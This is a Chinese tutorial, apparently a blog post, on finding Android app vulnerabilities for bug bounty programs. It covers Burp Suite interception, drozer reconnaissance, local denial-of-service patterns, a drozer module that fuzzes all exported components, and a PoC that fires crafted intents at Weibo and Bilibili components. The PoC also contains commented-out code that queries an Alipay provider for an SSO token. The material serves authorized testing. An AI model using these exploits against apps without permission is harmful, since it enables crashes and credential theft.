浅析src的app漏洞挖掘

 

前言

之前自学了安卓的漏洞挖掘知识,还在wsrc、bilisrc、asrc等提交了安卓app方面的安全漏洞,一直没有做笔记,现在就来总结一下学过的部分知识。

 

用burpsuite实现app抓包

点击Proxy——>Options里的add

输入模拟器的ip和端口

接着就是配置手机端,首先导出Burpsuite的CA证书。

点击import/export CA certificate,

选择第一个选项,然后重命名为xxx.cer,保存在一个合适的文件夹

接着在安卓端的 设置—>安全—>从SD卡安装 把证书导进安卓端

最后在网络设置上刚才在burpsuite输入的代理就可以进行抓包啦

附上一张我在微博src挖到逻辑漏洞的图

 

用drozer进行app的漏洞挖掘

drozer真的是个测安卓的神器,其最大的特点就是模块化,可以自行编写测试模块。安装教程就不多讲,大家可以在网上搜索教程。

1、在PC上使用adb进行端口转发,转发到Drozer使用的端口31415

adb forward tcp:31415 tcp:31415

2、在Android设备上开启Drozer Agent

3、在PC上开启Drozer console

drozer console connect

 

测试用到的各种命令

这里用官方提供的app做测试

获取包名

run app.package.list -f sieve

获取应用的基本信息

run app.package.info -a com.mwr.example.sieve

确定攻击面

run app.package.attacksurface com.mwr.example.sieve

由这可以看出3个activity、两个content providers和两个services暴露,可能存在漏洞。

Activity

(1)获取activity信息

run app.activity.info -a com.mwr.example.sieve

这里显示的是具体activity的名称,当我们反编译的时候搜索该名称就能找到漏洞代码。

(2)启动activity

run app.activity.start --component com.mwr.example.sieve

这条命令后面要加上具体的activity名称,当我们输入命令启动activity的时候,如果app崩溃了,就存在本地拒绝服务漏洞,如果启动的是我们不能访问的页面,该app就存在权限提升漏洞。

更多具体的命令请参考下面这篇文章

https://blog.csdn.net/cch139745/article/details/53519900

 

安卓的本地拒绝服务漏洞

下面要讲的一中漏洞既普遍又通用,即安卓的本地拒绝服务。通用型本地拒绝服务漏洞,主要源于攻击者向Intent中传入其自定义的序列化类对象,当调用组件收到此Extra序列化类对象时,无法找到此序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。
本地拒绝服务漏洞不仅可以导致安全防护等应用的防护功能被绕过或失效(如杀毒应用、安全卫士、防盗锁屏等),而且也可被竞争方应用利用来攻击,使得自己的应用崩溃,造成不同程度的经济利益损失。

1) NullPointerException异常导致的拒绝服务,源于程序没有对getAction()等获取到的数据进行空指针判断,从而导致空指针异常而导致应用崩溃;

代码片段:

Intent i = new Intent();
if (i.getAction().equals("NullPointerException")) {
    Log.d("TAG", "Test");
}

2) ClassCastException异常导致的拒绝服务, 源于程序没有对getSerializableExtra()等获取到的数据进行类型判断而进行强制类型转换,从而导致类型转换异常而导致应用崩溃;

代码片段:

Intent i = getIntent();
String test = (String)i.getSerializableExtra("key");

3) IndexOutOfBoundsException异常导致的拒绝服务,源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃;

代码片段:

Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("id");
if (intArray != null) {
    for (int i = 0; i < NUM; i++) {
        intArray.get(i);
    }
}

 

app漏洞测试步骤

1、列出包含xxx字样的包名

run app.package.list -f xxx

2、查看攻击面

run app.package.attacksurface 包名

3、查看暴露的activity

run app.activity.info -a 包名

4、接下来就是用apktool反汇编在AndroidManifest.xml中找activity的详细信息

apktool反汇编命令:

apktool d xxx.apk -o outdir

查看所在的文件夹

5、接着就是将apk反编译成java代码,由于方便,这里我常用的工具是 安卓逆向助手,当然jeb等工具也不错,但是正版的太贵了。。

这里直接用jd-gui看第一个jar包,然后直接审oncreate函数,看看其有没有本地拒绝服务和权限提升等漏洞。

6、也可以用jad工具把jar包反编译成java文件,然后用FileLocator Pro查找java

文件中有无漏洞代码,这里也可以用来查找动态注册的broadcast receivers

jad 反编译命令

jad -o -r -sjava -dsrc com/**/*.class

此命令作用是把com文件夹及其子目录下所有的class反编译

查找包含文本:

对activity进行fuzz自动化测试本地拒绝服务

前面说过drozer最大的特点就是模块化,上面的步骤手动测太麻烦,我们可以自己编写或找个脚本自动帮我们测试。下面是我从网上找的脚本:

from drozer import android
from drozer.modules import common, Module

class Deny(Module, common.Filters, common.PackageManager):

    name = "find NullPointerException"
    description = "."
    examples = """
    dz> run app.package.deny com.android.browser
    6 activities exported
    4 broadcast receivers exported
    1 content providers exported
    0 services exported"""
    author = "ydalien"
    date = "2017-01-02"
    license = "BSD (3 clause)"
    path = ["exp", "fuzz"]
    permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]

    def add_arguments(self, parser):
        parser.add_argument("package", help="the identifier of the package to inspect")

    def attack(self,component,package,flags):
        act=None
        cat=None
        data=None
        comp=(package,component.name)
        extr=None
        flgs=None

        if(flags=='activity'):
            flgs =['ACTIVITY_NEW_TASK']

        intent = android.Intent(action=act,component=comp,category=cat,data_uri=None, extras=extr, flags=flgs, mimetype=None)

        if intent.isValid():
            if(flags=='activity'):
                self.getContext().startActivity(intent.buildIn(self))
            if(flags=='service'):
                self.getContext().startService(intent.buildIn(self))
            if(flags == 'receiver'):
                self.getContext().sendBroadcast(intent.buildIn(self))
        else:
            self.stderr.write("[-] Invalid Intent!n")


    def execute(self, arguments):
        if arguments.package != None:
            package = self.packageManager().getPackageInfo(arguments.package, common.PackageManager.GET_ACTIVITIES | common.PackageManager.GET_RECEIVERS | common.PackageManager.GET_PROVIDERS | common.PackageManager.GET_SERVICES)
            application = package.applicationInfo

            activities = self.match_filter(package.activities, 'exported', True)
            receivers = self.match_filter(package.receivers, 'exported', True)
            providers = self.match_filter(package.providers, 'exported', True)
            services = self.match_filter(package.services, 'exported', True)

            self.stdout.write("Attack Surface:n")
            self.stdout.write("  %d activities exportedn" % len(activities))
            self.stdout.write("  %d broadcast receivers exportedn" % len(receivers))
            self.stdout.write("  %d content providers exportedn" % len(providers))
            self.stdout.write("  %d services exportedn" % len(services))

            if (application.flags & application.FLAG_DEBUGGABLE) != 0:
                self.stdout.write("    is debuggablen")

            if package.sharedUserId != None:
                self.stdout.write("    Shared UID (%s)n" % package.sharedUserId)

            actions=[activities,receivers,services]
            action_str=['activity','receiver','service']
            i=-1
            try:
                for action in actions:
                    i+=1
                    if len(action) > 0:
                        for tmp in action:
                            try:
                                if len(tmp.name) > 0:
                                    self.stdout.write(" [+]%s name:%sn" % (action_str[i],tmp.name))
                                    self.attack(component=tmp, package=arguments.package, flags=action_str[i])
                            except Exception, e:
                                self.stdout.write(" error-->%s name:%sn" % (action_str,tmp.name))
                                self.stdout.write(" errorcontent:%sn" % e)
                                continue
            except:
                self.stdout.write(" error")
        else:
            self.stdout.write("No package specifiedn")

drozer 通过Module类的metadata来配置和管理每个模块,因此模块编写时需要包含以下 metadata信息:

name          模块的名称
description   模块的功能描述 
examples      模块的使用示例
author        作者
date          日期
license       许可
path          描述模块命令空间

这些信息中比较重要的就是path变量,它描述了模块在drozer namespace中的路径,结合对应的classname可以唯一确定drozer中的模块。

例如上面脚本中的path = [“exp”, “fuzz”] 我们只要运行 run exp.fuzz.deny加上脚本需要的参数(这里是包名)就能运行脚本。

drozer模块安装有两种方法,我们只讲其中一种,在repository中按照python包管理的方法新建目录结构,将python文件放入相应目录中。我们必须先在本地创建一个drozer 的repository目录,可以直接在drozer console中通过命令创建:

dz> module repository create [/path/to/repository]

创建好本地repository后就可以安装自己的模块了,按照python包管理的方式,在本地repository目录下创建目录exp,新建init.py空白文件,然后将Python模块源码放入exp目录即可。例如将fuzz.py放入exp目录下

现在模块安装已经完成,可以开始测试了,首先开始运行前,我们要用logcat命令 logcat | grep java.lang.RuntimeException‘查看崩溃的原因具体是由哪个activity造成的,接着就可以run起来啦

由上图可看出该app因为空指针而导致程序崩溃,然后就可以反编译查看对应的漏洞代码,接着写poc

附上我常用的poc和我在src提交的洞:

public class MainActivity extends Activity {

    protected void onCreate(Bundle savedInstanceState){
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Button button =(Button) findViewById(R.id.button);
    button.setOnClickListener(new View.OnClickListener() {

        @Override
        public void onClick(View v) {
            /*
            Uri uri=Uri.parse("content://com.alipay.ali.authlogin/aliuser_sdk_sso");
            Cursor cursor=getContentResolver().query(uri, null, null, null, null);
            if(cursor!=null){
                String id=cursor.getString(cursor.getColumnIndex("loginId"));
                String img=cursor.getString(cursor.getColumnIndex("headImg"));
                String token=cursor.getString(cursor.getColumnIndex("alipaySsoToken"));
                System.out.println(id);
                //Toast.makeText(context, id+""+img+""+token, Toast.LENGTH_SHORT);    
            }

            cursor.close();
            */
            //Intent v2=new Intent("com.taobao.idlefish.DATA_EXPORT");
            Intent v2=new Intent();
            v2.setClassName("com.sina.weibo", "com.sina.weibo.xxx.xxx.xxx");
            //v2.setClassName("tv.danmaku.bili", "com.mall.ui.base.MallSigalTaskWebFragmentLoadActivity");
            //v2.addCategory("android.intent.category.BROWSABLE");
            //v2.putExtra("id", "a");
            //v2.putExtra("c", "exportData");

            //v2.putExtra("_fragment", "com.mall.base.web.MallWebFragment");
            //v2.setData(Uri.parse("file:///storage/emulated/0/tencent/MicroMsg/Download/2.html"));
            //v2.putExtra("intent_bundle_nameintent_bundle_name","a");
            //v2.putExtra("bundle_select_limit_num",1);
            //v2.setData(Uri.parse(""));
            startActivity(v2);
            //startService(v2);
            //sendBroadcast(v2);
        }
    });    

    }
}

(完)